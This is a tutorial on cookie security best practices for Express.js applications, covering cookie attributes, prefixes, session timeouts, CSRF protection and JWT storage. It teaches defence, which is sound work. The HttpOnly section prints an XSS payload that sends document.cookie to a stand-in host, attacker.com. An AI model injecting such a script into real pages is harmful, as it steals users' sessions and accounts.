Cookie Security Best Practices

Protecting session cookies and securing user authentication

Understanding Cookie Security Risks

Cookies, especially those used for authentication, are high-value targets for attackers. Before we dive into security best practices, let's understand the common risks and attack vectors:

graph TD A[Cookie Security Risks] --> B[Cookie Theft] A --> C[Cookie Tampering] A --> D[Cross-Site Scripting] A --> E[Cross-Site Request Forgery] A --> F[Session Fixation] B --> B1[Man-in-the-middle attacks] B --> B2[XSS vulnerabilities] B --> B3[Client-side malware] C --> C1[Session hijacking] C --> C2[Privilege escalation] C --> C3[Authentication bypass] D --> D1[Stealing cookies via JavaScript] D --> D2[Executing malicious code] E --> E1[Forcing user to perform unwanted actions] E --> E2[Exploiting trusted sessions] F --> F1[Forcing user to use attacker's session]

Real-World Scenario: Cookie Theft in Public Wi-Fi

Consider this common scenario: A user is working at a coffee shop using public Wi-Fi to access their banking application. The Wi-Fi network is not secure, and an attacker is using a packet sniffer to intercept network traffic.

  • If the banking site uses HTTP (not HTTPS), the attacker can see all cookies in plain text
  • If cookies don't have the Secure flag, they might be sent over unencrypted connections
  • If cookies don't have the HttpOnly flag, they could be stolen by any XSS vulnerability
  • Without proper SameSite restrictions, CSRF attacks could force actions on the banking site

The result? The attacker could steal the user's session cookie and gain full access to their banking account.

Essential Cookie Security Attributes

Modern browsers provide several cookie attributes that significantly enhance security. Understanding and properly implementing these attributes is crucial:

The HttpOnly Flag

The HttpOnly flag prevents JavaScript from accessing the cookie, protecting against the most common XSS attacks.

// Setting an HttpOnly cookie with Express
res.cookie('sessionId', 'a3fWa', {
  httpOnly: true
});

// Setting an HttpOnly cookie directly in HTTP response headers
response.setHeader('Set-Cookie', 'sessionId=a3fWa; HttpOnly');

// Express.js session configuration with HttpOnly
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    httpOnly: true
  }
}));

How HttpOnly Prevents XSS Attacks

Without the HttpOnly flag, a simple XSS attack could steal user cookies:

// Malicious script injected via XSS vulnerability
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

With HttpOnly, JavaScript cannot access the cookie:

// The same attack attempt with HttpOnly cookies
<script>
  console.log(document.cookie); // Session cookie is NOT visible
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
  // Only non-HttpOnly cookies would be sent
</script>

The Secure Flag

The Secure flag ensures that cookies are only sent over HTTPS connections, preventing them from being transmitted over unencrypted channels.

// Setting a Secure cookie with Express
res.cookie('sessionId', 'a3fWa', {
  secure: true
});

// Setting a Secure cookie directly in HTTP response headers
response.setHeader('Set-Cookie', 'sessionId=a3fWa; Secure');

// Express.js session configuration with Secure
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    secure: process.env.NODE_ENV === 'production' // Only use in production
  }
}));

Development vs. Production

During development, you might use HTTP instead of HTTPS. If you set the Secure flag in this environment, cookies won't be set properly. A common pattern is to conditionally enable the Secure flag based on the environment:

// Conditional Secure flag
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    secure: process.env.NODE_ENV === 'production'
  }
}));

However, this creates a discrepancy between environments. For consistent behavior, consider using HTTPS locally using tools like mkcert or local-ssl-proxy.

SameSite Attribute

The SameSite attribute controls when cookies are sent with cross-site requests, providing protection against CSRF attacks.

// Setting a SameSite cookie with Express
res.cookie('sessionId', 'a3fWa', {
  sameSite: 'strict' // Other options: 'lax', 'none'
});

// Setting a SameSite cookie directly in HTTP response headers
response.setHeader('Set-Cookie', 'sessionId=a3fWa; SameSite=Strict');

// Express.js session configuration with SameSite
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    sameSite: 'strict'
  }
}));
SameSite Value Description When to Use
Strict Cookie is only sent in first-party context (same site) Session cookies, auth tokens, any sensitive cookies
Lax Cookie is sent with same-site requests and top-level navigations (links, forms with GET) Default as of Chrome 80, balances security and usability
None Cookie is sent in all contexts, including cross-site requests (requires Secure) Only when cross-site cookie access is absolutely necessary

SameSite Usage Example

Consider an e-commerce platform with these cookies:

  • Authentication cookie: SameSite=Strict (only sent when directly visiting the site)
  • Shopping cart cookie: SameSite=Lax (available when clicking links to the site)
  • Affiliate tracking cookie: SameSite=None; Secure (needs to work across sites)

This strategy provides the right balance of security and functionality for each type of cookie.

Domain and Path Attributes

The Domain and Path attributes control the scope of where cookies are sent:

// Setting Domain and Path with Express
res.cookie('sessionId', 'a3fWa', {
  domain: '.example.com', // Including all subdomains
  path: '/admin'           // Only sent to paths starting with /admin
});

// Setting Domain and Path directly in HTTP response headers
response.setHeader('Set-Cookie', 'sessionId=a3fWa; Domain=.example.com; Path=/admin');

// Express.js session configuration with Domain and Path
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    domain: '.example.com',
    path: '/'
  }
}));

Domain and Path Security Implications

From a security perspective:

  • Domain: Narrower is better. Only set cookies to specific subdomains that need them
  • Path: More specific is better. Limit cookies to only the paths that require them

For example, instead of setting an admin cookie for the entire domain:

// Too broad
res.cookie('adminAuth', token, { domain: '.example.com' });

// More secure - limited to admin subdomain
res.cookie('adminAuth', token, { domain: 'admin.example.com' });

Expires and Max-Age Attributes

Properly setting cookie lifetimes helps minimize the window of opportunity for attacks:

// Setting expiration time with Express
res.cookie('sessionId', 'a3fWa', {
  expires: new Date(Date.now() + 3600000) // 1 hour from now
});

// Using maxAge instead (easier)
res.cookie('sessionId', 'a3fWa', {
  maxAge: 3600000 // 1 hour in milliseconds
});

// Setting expiration directly in HTTP response headers
response.setHeader('Set-Cookie', 'sessionId=a3fWa; Max-Age=3600');

// Express.js session configuration with expiration
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    maxAge: 3600000 // 1 hour
  }
}));

Security-Focused Cookie Expiration Strategy

A balanced approach to cookie expiration might include:

  • Short-lived session cookies: 15-30 minutes for sensitive applications
  • Idle timeout extension: Reset expiration when user is active
  • Absolute maximum lifetime: Even with activity, force re-authentication after a certain period
// Implementation example
const IDLE_TIMEOUT = 30 * 60 * 1000; // 30 minutes
const ABSOLUTE_TIMEOUT = 24 * 60 * 60 * 1000; // 24 hours

app.use((req, res, next) => {
  // Skip if no session
  if (!req.session) return next();
  
  const now = Date.now();
  
  // Check absolute timeout
  if (req.session.createdAt && 
      now - req.session.createdAt > ABSOLUTE_TIMEOUT) {
    return req.session.destroy(() => {
      res.redirect('/login?reason=timeout');
    });
  }
  
  // Update last activity time
  req.session.lastActivity = now;
  
  // Set session expiration based on idle timeout
  req.session.cookie.maxAge = IDLE_TIMEOUT;
  
  next();
});

Security Beyond Cookie Attributes

While cookie attributes provide essential protections, comprehensive cookie security requires additional measures:

Using Secure Cookie Values

The content of cookies, particularly session IDs, should be secure:

// Generating cryptographically secure session IDs
const crypto = require('crypto');

function generateSecureSessionId() {
  return crypto.randomBytes(32).toString('hex');
}

// Using the secure ID for a cookie
app.post('/login', (req, res) => {
  // Authenticate user...
  
  const sessionId = generateSecureSessionId();
  
  // Store session in database...
  
  res.cookie('sessionId', sessionId, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 3600000
  });
  
  res.redirect('/dashboard');
});

Characteristics of Secure Cookie Values

  • High entropy: At least 128 bits (16 bytes) of randomness
  • Unpredictable: Generated using cryptographically secure random sources
  • Unique: Virtually no chance of collision with other sessions
  • Not carrying sensitive data: Session IDs should be opaque references, not containing encoded user data

Insecure example: Using sequential IDs or patterns that could be guessed

// INSECURE - DO NOT USE
let lastSessionId = 1000;
function generateInsecureSessionId() {
  return (++lastSessionId).toString();
}

Protecting Against CSRF Attacks

Cross-Site Request Forgery (CSRF) attacks trick users into performing unwanted actions on sites where they're authenticated. Even with SameSite cookies, additional protection is recommended:

// CSRF protection with csurf middleware
const express = require('express');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');

const app = express();

app.use(cookieParser());
app.use(express.urlencoded({ extended: false }));

// Setup CSRF protection
const csrfProtection = csrf({ cookie: { 
  httpOnly: true,
  secure: process.env.NODE_ENV === 'production',
  sameSite: 'strict'
}});

// Apply to routes that change state
app.get('/user/profile', csrfProtection, (req, res) => {
  // Pass CSRF token to template
  res.render('profile', { csrfToken: req.csrfToken() });
});

app.post('/user/update-profile', csrfProtection, (req, res) => {
  // Token is automatically validated by the middleware
  // If invalid, middleware will throw an error
  
  // Update user profile...
  res.redirect('/user/profile');
});

Including CSRF Tokens in Forms

When using CSRF protection, tokens must be included in forms:

<!-- In server-rendered templates (e.g., EJS) -->
<form action="/user/update-profile" method="post">
  <input type="hidden" name="_csrf" value="<%= csrfToken %>">
  <!-- Other form fields -->
  <button type="submit">Update Profile</button>
</form>

// In JavaScript frontend (e.g., React)
async function getCsrfToken() {
  const response = await fetch('/csrf-token', {
    credentials: 'include' // Important for cookies
  });
  const data = await response.json();
  return data.csrfToken;
}

async function submitForm() {
  const token = await getCsrfToken();
  
  const response = await fetch('/user/update-profile', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'CSRF-Token': token
    },
    credentials: 'include',
    body: JSON.stringify({
      name: 'New Name',
      email: 'new@example.com'
    })
  });
}

Cookie Prefixes

Modern browsers support cookie prefixes that enforce security requirements:

// Using the __Secure- prefix
// Must be set with Secure flag and from HTTPS
res.cookie('__Secure-sessionId', 'a3fWa', {
  secure: true,  // Required for __Secure- prefix
  httpOnly: true
});

// Using the __Host- prefix
// Must be set with Secure flag, from HTTPS, with no Domain, and Path=/
res.cookie('__Host-sessionId', 'a3fWa', {
  secure: true,  // Required for __Host- prefix
  httpOnly: true,
  // Cannot set Domain with __Host-
  path: '/'      // Required for __Host- prefix
});

Cookie Prefixes Explained

Prefix Requirements Protection
__Secure- Must have Secure flag and be set from HTTPS Prevents attackers from setting cookies without HTTPS
__Host- Must have Secure flag, no Domain attribute, Path=/, and be set from HTTPS Prevents subdomain attacks and ensures cookies are only sent to same host

Implementing Secure Cookies in Express.js

Let's put all these concepts together in a comprehensive Express.js application:

// app.js - Express.js application with secure cookie configuration
const express = require('express');
const session = require('express-session');
const RedisStore = require('connect-redis')(session);
const redis = require('redis');
const helmet = require('helmet');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
require('dotenv').config();

const app = express();

// Create Redis client
const redisClient = redis.createClient({
  host: process.env.REDIS_HOST || 'localhost',
  port: process.env.REDIS_PORT || 6379,
  password: process.env.REDIS_PASSWORD || ''
});

// Set up security headers
app.use(helmet());

// Parse cookies
app.use(cookieParser(process.env.COOKIE_SECRET));

// Parse request bodies
app.use(express.json());
app.use(express.urlencoded({ extended: false }));

// Configure session middleware with secure cookies
app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET || 'change-me',
  name: '__Host-sid', // Using cookie prefix for additional security
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production', // HTTPS only in production
    sameSite: 'strict',
    maxAge: 60 * 60 * 1000, // 1 hour
    path: '/'
  }
}));

// Add session timeout management
app.use((req, res, next) => {
  if (req.session && req.session.user) {
    // Check absolute timeout
    if (req.session.createdAt && 
        Date.now() - req.session.createdAt > 24 * 60 * 60 * 1000) {
      return req.session.destroy(() => {
        res.redirect('/login?reason=expired');
      });
    }
    
    // Update last activity
    req.session.lastActivity = Date.now();
  }
  next();
});

// Set up CSRF protection
const csrfProtection = csrf({ cookie: {
  httpOnly: true,
  secure: process.env.NODE_ENV === 'production',
  sameSite: 'strict',
  key: '__Host-csrf', // Using cookie prefix
  path: '/'
}});

// Public routes (no CSRF)
app.get('/', (req, res) => {
  res.send('Welcome to the secure app');
});

app.get('/login', (req, res) => {
  res.render('login');
});

// Apply CSRF protection to authenticated routes
app.use('/dashboard', csrfProtection, (req, res, next) => {
  // Check if user is authenticated
  if (!req.session || !req.session.user) {
    return res.redirect('/login');
  }
  next();
});

// Dashboard routes (protected by CSRF)
app.get('/dashboard', (req, res) => {
  res.render('dashboard', {
    user: req.session.user,
    csrfToken: req.csrfToken()
  });
});

app.post('/dashboard/update', (req, res) => {
  // CSRF token is automatically validated
  
  // Update user settings...
  
  res.redirect('/dashboard');
});

// API endpoint to get CSRF token for SPAs
app.get('/api/csrf-token', csrfProtection, (req, res) => {
  res.json({ csrfToken: req.csrfToken() });
});

// Authentication routes
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  
  // Authenticate user...
  
  // If authenticated
  req.session.regenerate((err) => {
    if (err) {
      return res.status(500).send('Error during authentication');
    }
    
    // Set session data
    req.session.user = { id: 123, username };
    req.session.createdAt = Date.now();
    req.session.lastActivity = Date.now();
    
    res.redirect('/dashboard');
  });
});

app.post('/logout', (req, res) => {
  req.session.destroy((err) => {
    if (err) {
      return res.status(500).send('Error during logout');
    }
    res.clearCookie('__Host-sid');
    res.redirect('/');
  });
});

// Error handling
app.use((err, req, res, next) => {
  if (err.code === 'EBADCSRFTOKEN') {
    // Handle CSRF errors
    return res.status(403).send('Form has been tampered with');
  }
  
  console.error(err.stack);
  res.status(500).send('Something broke!');
});

// Start server
const PORT = process.env.PORT || 3000;
const server = app.listen(PORT, () => {
  console.log(`Server running on port ${PORT}`);
});

Production Security Checklist

For a production-ready secure cookie implementation, verify:

  • Set proper attributes: HttpOnly, Secure, SameSite, appropriate expiration
  • Use cookie prefixes: __Host- or __Secure- as appropriate
  • Implement CSRF protection: For all state-changing operations
  • Use security headers: With Helmet.js or similar
  • Implement proper session management: Regeneration, timeouts, secure storage
  • Serve over HTTPS: Required for Secure cookies and prefixes
  • Rotate session IDs: On authentication, privilege changes
  • Use secure, random values: For session IDs and tokens

Testing Cookie Security

Verifying your cookie security implementation is crucial. Here are methods to test cookie security in your applications:

Manual Inspection

// Browser DevTools - Console
// Check all cookies
console.log(document.cookie);

// In Chrome DevTools - Application > Cookies
// Look for the HttpOnly and Secure flags

// Test whether JavaScript can access HttpOnly cookies
// Open console on your site and try:
document.cookie; // HttpOnly cookies should not appear

Automated Testing

// Testing cookie security with Jest and Supertest
const request = require('supertest');
const app = require('../app');

describe('Cookie Security Tests', () => {
  test('Session cookie should have correct security attributes', async () => {
    const response = await request(app)
      .post('/login')
      .send({ username: 'testuser', password: 'password123' });
    
    // Check redirect
    expect(response.status).toBe(302);
    
    // Get cookies from response
    const cookies = response.headers['set-cookie'];
    expect(cookies).toBeDefined();
    
    // Find session cookie
    const sessionCookie = cookies.find(cookie => cookie.startsWith('__Host-sid='));
    expect(sessionCookie).toBeDefined();
    
    // Check security attributes
    expect(sessionCookie).toContain('HttpOnly');
    expect(sessionCookie).toContain('Secure');
    expect(sessionCookie).toContain('SameSite=Strict');
    expect(sessionCookie).toContain('Path=/');
    expect(sessionCookie).not.toContain('Domain=');
  });
  
  test('CSRF protection should be working', async () => {
    // First login to get a session
    const loginResponse = await request(app)
      .post('/login')
      .send({ username: 'testuser', password: 'password123' });
    
    const cookies = loginResponse.headers['set-cookie'];
    
    // Try to make a POST without CSRF token
    const response = await request(app)
      .post('/dashboard/update')
      .set('Cookie', cookies) // Send session cookie
      .send({ setting: 'value' });
    
    // Should fail with 403 Forbidden
    expect(response.status).toBe(403);
  });
});

Security Tools and Scanners

Tools for Testing Cookie Security

  • OWASP ZAP: Free security scanner that can check for cookie issues
  • Burp Suite: Professional tool for web security testing
  • Cookie-Inspector: Chrome extension for detailed cookie analysis
  • Mozilla Observatory: Free web security scanner including cookie checks
  • SecurityHeaders.com: Check security headers including cookie controls

Example usage with OWASP ZAP:

  1. Set up ZAP as a proxy (typically localhost:8080)
  2. Configure your browser to use this proxy
  3. Browse your application, performing key actions
  4. Review alerts in ZAP, focusing on cookie issues
  5. Run the "Active Scan" feature on your site
  6. Check the "Alerts" tab for cookie-related vulnerabilities

Advanced Cookie Security Topics

Stateless JWTs vs. Session Cookies

While we've focused on session cookies, another approach uses stateless JWTs stored in cookies:

JWT in Cookie Approach

// Storing JWT in a cookie
const jwt = require('jsonwebtoken');

app.post('/login', (req, res) => {
  // Authenticate user...
  
  // Create JWT with user data
  const token = jwt.sign(
    { 
      sub: user.id,
      name: user.name,
      role: user.role
    },
    process.env.JWT_SECRET,
    { expiresIn: '1h' }
  );
  
  // Store JWT in cookie
  res.cookie('__Host-jwt', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    path: '/',
    maxAge: 60 * 60 * 1000 // 1 hour
  });
  
  res.redirect('/dashboard');
});

// Middleware to verify JWT
const authenticateJWT = (req, res, next) => {
  const token = req.cookies['__Host-jwt'];
  
  if (!token) {
    return res.status(401).send('Authentication required');
  }
  
  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET);
    req.user = decoded;
    next();
  } catch (err) {
    return res.status(403).send('Invalid or expired token');
  }
};

Pros and Cons of this approach:

  • Pros:
    • Stateless - no server storage needed
    • Works well for distributed systems
    • Potentially lower database load
  • Cons:
    • Can't be invalidated before expiration
    • Size limitations (cookies have size limits)
    • Sensitive data exposure if not properly secured

Double Submit Cookie Pattern

An alternative to traditional CSRF tokens is the double submit cookie pattern:

// Double Submit Cookie Pattern
app.use((req, res, next) => {
  // Skip for GET, HEAD, OPTIONS
  if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
    return next();
  }
  
  // Generate CSRF token if not exists
  if (!req.cookies['csrf-token']) {
    const token = crypto.randomBytes(16).toString('hex');
    
    // Set in cookie
    res.cookie('csrf-token', token, {
      httpOnly: false, // Accessible to JavaScript
      secure: true,
      sameSite: 'strict',
      path: '/'
    });
  }
  
  // For state-changing requests, validate token
  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
    const cookieToken = req.cookies['csrf-token'];
    const headerToken = req.headers['x-csrf-token'];
    
    if (!cookieToken || !headerToken || cookieToken !== headerToken) {
      return res.status(403).send('CSRF token validation failed');
    }
  }
  
  next();
});

How the Double Submit Pattern Works

In the Double Submit Cookie pattern:

  1. A random CSRF token is set in a non-HttpOnly cookie
  2. JavaScript reads this token and includes it in request headers or form fields
  3. The server verifies that the token in the request matches the one in the cookie

This works because attackers cannot read the token from the cookie (due to same-origin policy) or set cookies for your domain, making it impossible to create a valid forged request.

Cookie Isolation and Partitioning

Modern browsers are implementing stricter cookie policies to enhance privacy and security:

Browser Cookie Partitioning

Chrome's implementation of "cookies having independent partitioned state" (CHIPS) and Firefox's Total Cookie Protection partition cookies by the top-level site. This means:

  • Cookies set by example.com when loaded in an iframe on site-a.com are stored separately from cookies set by example.com when loaded in an iframe on site-b.com
  • This prevents cross-site tracking but may break functionality that relies on shared cookies across contexts

To opt into partitioning, you can set the Partitioned attribute:

// Opt into partitioning
res.cookie('analytics', 'value', {
  partitioned: true,
  secure: true
});

Cookies in Single Page Applications (SPAs)

SPAs present unique challenges for cookie security:

CORS and Cookies in SPAs

// Backend CORS configuration for SPA
const express = require('express');
const cors = require('cors');
const app = express();

// Configure CORS for SPA
app.use(cors({
  origin: process.env.FRONTEND_URL || 'https://myapp.example.com',
  credentials: true, // IMPORTANT: Required for cookies to be sent
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token']
}));

// Frontend fetch with credentials
fetch('https://api.example.com/data', {
  method: 'GET',
  credentials: 'include', // IMPORTANT: Required for cookies to be sent
  headers: {
    'Content-Type': 'application/json'
  }
});

SameSite Challenges with SPAs

When your frontend and backend are on different domains:

  • SameSite=Strict prevents cookies from being sent in cross-origin requests
  • SameSite=Lax allows cookies on top-level navigations but not in AJAX/fetch requests
  • SameSite=None (with Secure) is required for cross-origin AJAX/fetch, but has security implications

Best practices for SPAs:

  • Use the same domain when possible (e.g., app.example.com and api.example.com)
  • If cross-domain is necessary, use SameSite=None with additional protections:
    • Always use HTTPS (Secure flag)
    • Implement strong CSRF protection
    • Consider short-lived cookies

CSRF Protection in SPAs

SPAs typically use an API-based approach for CSRF protection:

// Backend CSRF token endpoint
app.get('/api/csrf-token', (req, res) => {
  const csrfToken = crypto.randomBytes(32).toString('hex');
  
  // Store token in session
  req.session.csrfToken = csrfToken;
  
  res.json({ csrfToken });
});

// Backend CSRF validation middleware
const validateCsrf = (req, res, next) => {
  // Skip for non-state-changing methods
  if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
    return next();
  }
  
  const sessionToken = req.session.csrfToken;
  const requestToken = req.headers['x-csrf-token'];
  
  if (!sessionToken || !requestToken || sessionToken !== requestToken) {
    return res.status(403).json({ error: 'CSRF token validation failed' });
  }
  
  next();
};

// Frontend implementation
async function fetchWithCsrf(url, options = {}) {
  // Get CSRF token if not cached
  if (!window.csrfToken) {
    const response = await fetch('/api/csrf-token', {
      credentials: 'include'
    });
    const data = await response.json();
    window.csrfToken = data.csrfToken;
  }
  
  // Add token to headers
  const headers = {
    ...options.headers,
    'X-CSRF-Token': window.csrfToken
  };
  
  // Make the request
  return fetch(url, {
    ...options,
    credentials: 'include',
    headers
  });
}

Practice Activities

Activity 1: Secure Cookie Configuration

Create an Express.js application with properly secured cookies:

  1. Set up a new Express.js project with session management
  2. Configure cookies with all security attributes:
    • HttpOnly
    • Secure
    • SameSite
    • Use a cookie prefix
    • Set appropriate Path
    • Configure proper expiration
  3. Create login, dashboard, and logout routes
  4. Implement session regeneration and timeout handling
  5. Test your implementation using browser DevTools

Activity 2: CSRF Protection Implementation

Add CSRF protection to your application:

  1. Install and configure the csurf middleware
  2. Create forms with CSRF token fields
  3. Implement protection for all state-changing routes
  4. Create an API endpoint for SPA CSRF tokens
  5. Test your protection by attempting CSRF attacks

Activity 3: Cookie Security Analysis

Analyze the cookie security of popular websites:

  1. Choose 5-10 popular websites (e.g., social media, banking, e-commerce)
  2. Use browser DevTools to inspect their cookies
  3. For each site, document:
    • Cookie attributes used (HttpOnly, Secure, SameSite, etc.)
    • Session management approach
    • CSRF protection mechanism (if detectable)
    • Security headers related to cookies
  4. Identify potential vulnerabilities or areas for improvement
  5. Compare your findings and create a "best practices" summary

Activity 4: Setting Up a Secure SPA with Cookies

Build a secure single-page application with a separate backend:

  1. Create a React frontend (on localhost:3000)
  2. Build an Express.js API backend (on localhost:3001)
  3. Configure secure cross-domain cookie handling:
    • CORS configuration
    • Appropriate SameSite settings
    • Authentication flow
  4. Implement CSRF protection for the SPA
  5. Create authenticated API routes
  6. Test the complete authentication flow

Additional Resources

Summary

By implementing these cookie security best practices, you can significantly reduce the risk of session hijacking, CSRF attacks, and other common web vulnerabilities.